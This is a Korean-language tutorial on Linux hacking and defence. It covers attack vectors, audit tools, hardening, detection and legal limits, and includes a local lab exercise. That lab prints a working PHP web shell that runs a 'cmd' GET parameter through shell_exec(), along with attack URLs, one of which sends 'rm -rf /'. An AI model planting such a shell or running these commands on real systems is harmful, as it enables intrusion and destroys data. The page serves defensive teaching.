리눅스 해킹 튜토리얼: Ubuntu 명령 및 도구

⚡ 스마트 요약

리눅스 해킹은 리눅스 시스템의 취약점을 찾아 악용하는 행위이며, 이 페이지에서는 공격자가 표적으로 삼는 취약점, 관련 감사 도구, 그리고 서버를 보호하는 데 사용되는 제어 장치에 대해 설명합니다.

  • 🐧 왜 문제 : 리눅스는 대부분의 웹 서버와 클라우드 워크로드를 실행하므로 매우 가치 있는 공격 대상입니다.
  • 🔍 오픈 소스의 장단점: 공개된 소스 코드는 유지 관리자가 신속하게 패치를 적용하는 데 도움이 되지만, 공격자가 취약점을 찾는 데는 도움이 됩니다.
  • 🧰 감사 도구: Nessus, Nmap, Lynis, 그리고 OpenVAS 열린 포트, 누락된 패치 및 취약한 구성을 드러냅니다.
  • 💥 공격 벡터: 취약한 SSH 자격 증명, 패치가 적용되지 않은 커널, 잘못된 구성 및 웹 셸이 대부분의 보안 침해의 원인입니다.
  • 🛡️ 경화: 패치 관리, SSH 보안 강화, 최소 권한 원칙 및 필수 접근 제어는 취약점을 크게 줄여줍니다.
  • ???? 발각: 감사 로그, 파일 무결성 검사 및 침입 탐지 기능을 통해 피해가 확산되기 전에 침해 사실을 파악할 수 있습니다.

리눅스 해킹 튜토리얼

리눅스는 가장 널리 사용되는 서버 운영 체제로, 특히 웹 서버에 많이 사용됩니다. 오픈 소스 운영체제이기 때문에 누구나 소스 코드를 읽을 수 있습니다. 이러한 투명성은 양날의 검과 같습니다. 유지보수 담당자는 소스 코드를 활용하여 결함을 신속하게 찾아 수정할 수 있는 반면, 공격자는 동일한 코드를 분석하여 악용할 수 있는 취약점을 찾습니다. 리눅스 해킹이란 이러한 취약점을 악용하여 시스템에 무단으로 접근하는 행위를 말합니다.

아래 섹션에서는 리눅스란 무엇인지, 리눅스에 영향을 미치는 보안 취약점, 그리고 리눅스를 이용한 해킹 실습에 대해 다룹니다. Ubuntu그리고 여러분이 취할 수 있는 대응책은 무엇입니까?

Linux에 대한 빠른 참고 사항

리눅스는 오픈 소스 운영 체제입니다. 수많은 배포판이 리눅스를 기반으로 만들어졌으며, 그중에는 다음과 같은 것들이 있습니다. Red Hat Enterprise Linux, 페도라, 데비안, 그리고 Ubuntu소스 코드가 공개되어 있기 때문에 연구원, 공급업체, 공격자 모두 이를 검사할 수 있습니다. 공격자는 이러한 접근 권한을 이용하여 악용 가능한 취약점을 찾고, 개발자는 동일한 가시성을 통해 폐쇄형 플랫폼보다 더 빠르게 수정 사항을 배포할 수 있습니다. 리눅스는 서버, 데스크톱, 태블릿 또는 모바일 장치 운영 체제로 실행됩니다.

리눅스 프로그램은 그래픽 인터페이스(GUI) 또는 명령줄을 통해 실행할 수 있습니다. 명령줄 작업은 GUI를 통해 클릭하는 것보다 빠르고 정확하기 때문에, 리눅스 배포판에서 보안 테스터로 일하는 사람들은 명령줄을 선호합니다. Kali Linux 그들은 거의 모든 시간을 터미널에서 보냅니다. 따라서 기본적인 명령어를 아는 것은 실질적인 필수 조건입니다.

이것을 참조하십시오 리눅스 튜토리얼 기본기를 위해서, 그리고 Kali Linux 지도 시간 그 위에 구축된 보안 중심의 배포를 위해서입니다.

일반적인 리눅스 보안 취약점 및 공격 벡터

리눅스에 대한 공격은 특이한 익스플로잇에 의존하는 경우가 드뭅니다. 2025년과 2026년에 공개된 텔레메트리 데이터에 따르면 대부분의 침해는 다음과 같은 방식으로 발생합니다. trac몇 가지 반복되는 약점으로 돌아가 보면, 그 약점을 파악하는 것만으로도 방어 노력을 어디에 먼저 집중해야 할지 알 수 있습니다.

  • 취약하거나 재사용된 SSH 자격 증명 — 인터넷에 연결된 SSH에 대한 무차별 대입 공격 및 자격 증명 탈취 시도가 Linux 엔드포인트에서 관찰되는 악의적인 활동의 대부분을 차지합니다.
  • 패치되지 않은 커널 및 패키지 결함 리눅스 커널 팀은 2024년에 CVE 번호 지정 기관이 되었고, 보고된 커널 CVE는 2023년 약 290개에서 다음 해 3,500개 이상으로 증가했기 때문에 패치 적체가 빠르게 누적되고 있습니다.
  • 잘못된 구성 기본 계정, 불필요한 데몬, 모든 사용자가 쓰기 가능한 파일, 그리고 관대한 sudo 규칙은 악용 없이도 얻을 수 있는 권한을 부여합니다.
  • 취약한 웹 애플리케이션 — 다음과 같은 결함 SQL 인젝션 크로스 사이트 스크립팅(XSS)은 공격자가 운영 체제가 아닌 애플리케이션을 통해 서버에 접근할 수 있도록 합니다. 웹 셸은 손상된 Linux 서버에서 가장 흔하게 발견되는 악성 프로그램입니다.
  • 권한 상승 버그 — 제한된 계정을 루트 권한으로 전환시키는 로컬 취약점. 일부는 공개되기 전까지 10년 이상 커널에 숨어 있다가 발견되었습니다.
  • 공급망 및 의존성 위험 — 타사 패키지, 언어 라이브러리 및 컨테이너 이미지는 운영팀 구성원 중 누구도 검토하지 않은 코드를 가져옵니다.

이러한 공격 방식 중 어느 것도 공격자가 리눅스 자체를 무력화할 필요는 없습니다. 2025년 침입 사례 분석에 따르면 약 5건 중 4건은 악성코드가 전혀 사용되지 않았고, 대신 잘못된 설정이나 탈취된 자격 증명을 이용한 것으로 나타났습니다.

리눅스 해킹 도구

보안 테스터와 시스템 관리자는 동일한 스캐너를 사용합니다. 한쪽은 공격자보다 먼저 취약점을 찾아내고, 다른 쪽은 수정 사항이 제대로 적용되는지 확인하기 위해서입니다. 아래 도구들은 Linux 호스트를 감사하는 데 가장 자주 사용되는 도구들입니다.

수단 타입 특허 리눅스에서의 일반적인 사용 사례
네서스 취약점 스캐너 상업 보험 다양한 환경에서 구성 설정, 누락된 패치 및 네트워크 서비스를 검사합니다.
Nmap은 네트워크 및 포트 스캐너 오픈 소스 서버에서 실행 중인 호스트, 해당 호스트가 제공하는 서비스 및 열려 있는 포트를 식별합니다.
리니 스 호스트 감사 및 보안 강화 오픈 소스 실행 중인 시스템을 보안 기준에 따라 감사하고 구체적인 개선 조치를 보고합니다.
OpenVAS 취약점 스캐너 오픈 소스 Greenbone이 커뮤니티 에디션의 일부로 제공하는 네트워크 취약점 스캔 서비스입니다.

이 목록은 모든 도구를 포함하는 것은 아니며, 감사에 사용할 수 있는 도구의 종류를 보여주는 예시입니다. Ubuntu 그리고 다른 Linux 시스템에서도 마찬가지입니다. 예전 가이드에서는 여전히 SARA(Security Auditor's Research Assistant)를 추천하지만, SARA의 최종 버전은 2009년에 출시되었고 프로젝트 사이트도 오프라인 상태이므로 Lynis와 OpenVAS 유지되는 대안들입니다.

해킹 활동: 해킹 Ubuntu PHP를 사용하는 리눅스 시스템

이 실습 시나리오에서는 PHP를 예시로 사용하여 웹 애플리케이션을 통해 Linux 호스트에 접근하는 방법을 살펴보겠습니다. 실제 공격 대상은 없습니다. 직접 시도해 보시려면 XAMPP의 Linux 버전인 LAMPP를 컴퓨터에 설치하세요.

PHP 셸에는 운영체제 명령을 실행하는 데 사용할 수 있는 exec()와 shell_exec()라는 두 가지 함수가 있습니다. exec() 함수는 명령 출력의 마지막 줄을 반환하고, shell_exec() 함수는 명령의 전체 결과를 문자열로 반환합니다.

예시를 위해 공격자가 다음 파일을 웹 서버에 업로드하는 데 성공했다고 가정해 보겠습니다.

<?php

$cmd = isset($_GET['cmd']) ? $_GET['cmd'] : 'ls -l';

echo "executing shell command:-> $cmd</br>";

$output = shell_exec($cmd);

echo "<pre>$output</pre>";

?>

이리,

위 스크립트는 `cmd`라는 이름의 GET 변수에서 명령어를 가져옵니다. 이 명령어는 `shell_exec()` 함수를 사용하여 실행되고, 결과는 브라우저에 반환됩니다.

위 코드는 다음과 같은 방법을 사용하여 악용될 수 있습니다. URL

http://localhost/cp/konsole.php?cmd=ls%20-l

이리,

  • “…konsole.php?cmd=ls%20-l”은 ls –l 값을 cmd 변수에 할당합니다.

명령은 Ubuntu 따라서 서버는 다음과 같이 실행됩니다.

shell_exec('ls -l') ;

위 코드를 웹 서버에서 실행하면 다음과 유사한 결과가 나타납니다.

PHP 스크립트의 브라우저 출력 결과 (디렉토리 내용 및 파일 권한 표시) Ubuntu 섬기는 사람

출력 결과는 현재 디렉터리에 있는 파일과 해당 파일의 권한을 간단히 표시합니다.

이제 공격자가 다음과 같은 명령을 실행한다고 가정해 보겠습니다.

rm -rf /

이리,

  • "rm" 명령어는 파일을 삭제합니다.
  • "rf"를 사용하면 rm 명령어가 재귀 모드로 실행되어 모든 폴더와 파일을 삭제합니다.
  • "/"는 명령에게 루트 디렉토리부터 삭제를 시작하도록 지시합니다.

공격 URL 대략 이런 모습일 겁니다.

http://localhost/cp/konsole.php?cmd=rm%20-rf%20/

따라서 유효성 검사를 거치지 않은 매개변수 하나만으로도 공격자는 웹 서버 계정이 보유한 모든 권한을 획득할 수 있습니다. 다음 두 섹션은 이러한 상황을 방지하고, 방지 조치가 실패했을 때 이를 포착하기 위해 마련되었습니다.

리눅스 해킹을 방지하는 방법

리눅스 해킹은 운영 체제와 그 위에 실행되는 소프트웨어의 취약점을 악용합니다. 조직은 다음과 같은 보안 조치를 함께 적용하여 위에서 설명한 대부분의 취약점을 차단할 수 있습니다.

  • 패치 관리 — 패치는 공격자가 시스템을 침해하기 위해 악용하는 버그를 수정합니다. 명확하게 정의된 정책을 통해 관련 업데이트가 누군가가 기억할 때가 아니라 신속하게 적용되도록 합니다.
  • 적절한 OS 구성 — 사용하지 않는 사용자 계정과 불필요한 데몬을 비활성화합니다. 기본 사용자 이름, 공유 애플리케이션 암호, 기본 포트 번호를 포함한 기본 설정을 변경합니다.
  • SSH 강화 루트 로그인 및 암호 인증을 비활성화하고, 지정된 사용자 또는 그룹만 로그인을 허용하며, 인증 재시도 횟수를 제한합니다. 이렇게 하면 리눅스에서 가장 많이 공격받는 진입점을 차단할 수 있습니다.
  • 최소 권한 — 계정과 서비스에 필요한 권한만 부여하고, sudo 권한을 포괄적인 관리자 권한으로 제한하는 대신 특정 명령에만 사용하도록 제한하십시오.
  • 필수 접근 제어 — SELinux(Red Hat 계열) 또는 AppArmor(Debian 및)를 유지하세요. Ubuntu손상된 서비스가 시스템의 나머지 부분에 도달하지 못하도록 강제 모드로 설정합니다.
  • 입력 검증 위의 예시는 요청 데이터가 셸 함수에 도달하기 때문에 작동하는 것입니다. exec() 또는 shell_exec() 함수에 사용자 입력을 절대 전달하지 마십시오.
  • 방화벽 및 세그멘테이션 — 서비스에 실제로 필요한 포트만 노출합니다. 방화벽 또한, 네트워크 세분화를 통해 손상된 호스트가 접근할 수 있는 범위를 제한합니다.
  • 침입 탐지 시스템 이러한 도구는 시스템에 대한 무단 접근을 감지하는 데 사용될 수 있으며, 일부 도구는 접근 시도를 차단할 수도 있습니다.
  • 테스트된 백업 — 오프라인에서 복원 가능한 백업을 사용하면 위와 같은 파괴적인 명령을 영구적인 손실이 아닌 서비스 중단으로 전환할 수 있습니다.

리눅스 시스템의 보안 침해 여부를 탐지하는 방법

예방은 결국 실패하기 마련이므로, 두 번째 질문은 얼마나 빨리 알아차릴 수 있느냐는 것입니다. 리눅스에서의 탐지는 사고 발생 후가 아니라 사고 발생 전에 적절한 증거를 수집하는 데 달려 있습니다.

  • 감사 로깅 커널 감사 프레임워크인 auditd는 권한 사용, 파일 접근 및 시스템 호출을 손상된 프로세스가 몰래 덮어쓸 수 없는 형태로 기록합니다. 이러한 로그를 호스트에서 중앙 수집기로 전달하십시오.
  • 인증 로그 /var/log/auth.log 또는 /var/log/secure 파일에서 일련의 실패 후 단 한 번의 성공이 발생하는 것은 전형적인 무차별 대입 공격의 특징입니다.
  • 예상치 못한 프로세스 및 연결 — 출처를 알 수 없는 도청 서비스나 외부 연결은 즉시 조사해야 합니다.
  • 파일 무결성 모니터링 — 시스템 바이너리 및 구성 파일의 해시값을 계산하여 절대 변경되어서는 안 되는 파일의 변경 사항을 표시하는 도구입니다.
  • 예약된 작업 및 시작 항목 — 지속성 유지는 일반적으로 cron 작업, systemd 단위 또는 셸 프로파일 스크립트에 포함됩니다.
  • 신규 또는 수정된 계정 — 낯선 사용자, UID가 0인 두 번째 계정, 아무도 추가하지 않은 SSH 키가 있는지 확인하십시오.
  • 웹 서버 디렉터리 — 웹 셸은 리눅스 서버에서 가장 흔하게 발견되는 악성 파일이므로, 웹 루트 아래에 있는 예상치 못한 스크립트 파일은 특히 주의해야 합니다.
  • 예정된 감사 — Lynis와 같은 호스트 감사 도구를 정기적으로 실행하고 각 보고서를 일회성 작업이 아닌 작업 목록으로 취급하십시오.

침해 증거를 발견한 경우, 호스트를 격리하고, 변경하기 전에 로그와 디스크 이미지를 보존하고, 실행 중인 시스템을 정리하려고 시도하는 대신 정상적인 미디어를 사용하여 시스템을 재구축해야 합니다. 증거 처리 관련 내용은 해당 문서에서 다룹니다. 디지털 법의학.

리눅스 해킹의 법적 및 윤리적 경계

이 페이지에 있는 모든 기술은 본인이 소유하거나 테스트할 수 있는 서면 허가를 받은 시스템에서는 합법적으로 사용할 수 있지만, 그 외의 거의 모든 곳에서는 불법입니다. 위의 연습 문제가 바로 그러한 이유로 로컬 설치 환경에서 실행되도록 의도적으로 구성되었습니다.

  • 서면 승인 — 서명된 범위, 합의된 테스트 기간, 그리고 지정된 담당자는 침투 테스트와 범죄 행위를 구분하는 핵심 요소입니다. 구두 승인만으로는 충분하지 않습니다.
  • 범위 내에 머무르세요 목록에 없는 호스트, 주소 범위 및 기술은 연결 가능하더라도 허용되지 않습니다.
  • 데이터를 주의해서 다루세요. — 테스트 중에 수집된 증거에는 실제 개인 정보가 포함되어 있으므로 안전하게 보관하고 테스트 후 파기해야 합니다.
  • 책임감 있게 보고하세요 — 발견 사항을 소유자에게 알리고 수정 작업을 위한 시간을 준 후 공개하십시오.

법적 책임은 실제로 존재합니다. 컴퓨터 시스템에 무단으로 접근하는 것은 미국의 컴퓨터 사기 및 남용 방지법(Computer Fraud and Abuse Act)이나 영국의 컴퓨터 오용 방지법(Computer Misuse Act)과 같은 법률에 따라 형사 범죄에 해당합니다. 이러한 기술을 바탕으로 경력을 쌓고 싶다면, 공인된 경로를 따르십시오. 보안 인증 게다가 다른 사람의 서버가 아닌, 자신이 소유한 연구실을 사용할 수 있습니다.

자주 묻는 질문

리눅스는 엄격한 사용자 분리와 데스크톱 공격 표면이 작다는 장점 덕분에 일반적인 악성코드의 공격을 훨씬 덜 받습니다. 하지만 서버는 상황이 다릅니다. 인터넷에 연결된 리눅스 호스트는 끊임없이 공격을 받으며, 구성 품질이 결과에 큰 영향을 미칩니다.

시그니처 스캐닝은 다른 플랫폼의 콘텐츠를 처리하는 파일 및 메일 서버에서 유용합니다. 하지만 대부분의 Linux 호스트에서는 패치, 보안 강화 및 로그 기반 탐지가 더 효과적입니다. 대부분의 침입은 악성 파일과 전혀 관련이 없기 때문입니다.

머신러닝 모델은 호스트의 정상적인 프로세스, 로그인 및 네트워크 동작을 기준으로 삼은 다음, 고정된 규칙이 놓치는 편차(예: 웹 서버 계정이 셸을 생성하는 경우)를 표시합니다. 공격자 역시 정찰 속도를 높이기 위해 동일한 기술을 사용하므로 양측 모두 움직이고 있습니다.

GitHub 부조종사 매개변수화된 쿼리를 제안하거나 셸 호출보다 안전한 대안을 직접 요청할 수 있습니다. 공개된 코드를 기반으로 학습되므로 제안 내용은 여전히 ​​검토가 필요합니다. 보안 스캐너가 아닌 초안 작성 도우미로 활용하세요.

둘 다 데비안 기반이지만 Kali Linux 이 제품은 수백 가지의 보안 및 포렌식 도구가 사전 설치되어 있으며 테스트 작업에 적합하게 설계되었습니다. Ubuntu 는 범용 데스크톱 및 서버 배포판으로, 일상적인 용도에 더 적합한 선택입니다.

최소 한 달에 한 번씩 보안 업데이트를 적용하고, 중요 등급으로 분류되거나 악용 사례가 알려진 항목에 대해서는 며칠 내에 업데이트하십시오. 무인 보안 업그레이드를 활성화하고, 커널 수정 사항이 실제로 적용되도록 재부팅 일정을 예약하십시오.

LPIC 또는 RHCSA와 같은 Linux 관리자 자격증으로 시작하여 CompTIA Security+를 취득한 다음, 실제 침투 테스트 또는 관리 업무로 나아가십시오. trac크. Guru99는 목록을 유지합니다. 사이버 보안 인증 현재 요구 사항에 따라.

자신의 하드웨어에서 가상 머신을 사용하거나 공인 교육 플랫폼(예: ...)을 이용하십시오. TryHackMe목표 대상은 바로 이러한 목적을 위해 제공됩니다. 서면 허가 없이는 소유하지 않은 시스템을 절대 테스트하지 마십시오.

이 게시물을 요약하면 다음과 같습니다.